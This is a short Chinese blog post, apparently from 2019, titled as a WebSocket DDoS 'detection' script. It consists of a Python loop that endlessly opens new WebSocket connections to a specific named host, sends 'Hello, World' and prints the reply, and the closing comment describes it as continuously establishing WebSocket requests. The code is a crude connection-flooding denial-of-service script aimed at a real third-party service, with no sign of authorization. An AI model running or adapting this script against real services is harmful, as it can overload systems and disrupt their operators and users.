websocket ddos检测脚本

from websocket import create_connection
while(1):
        ws = create_connection('wss://ha-cmim.cmcc-cs.cn:12501/ws/')
        ws.send("Hello, World")
        result =  ws.recv()
        print("Received '%s'" % result)

  

不停建立websocket请求

posted @ 2019-12-19 10:30  Junsec  阅读(566)  评论(0编辑  收藏  举报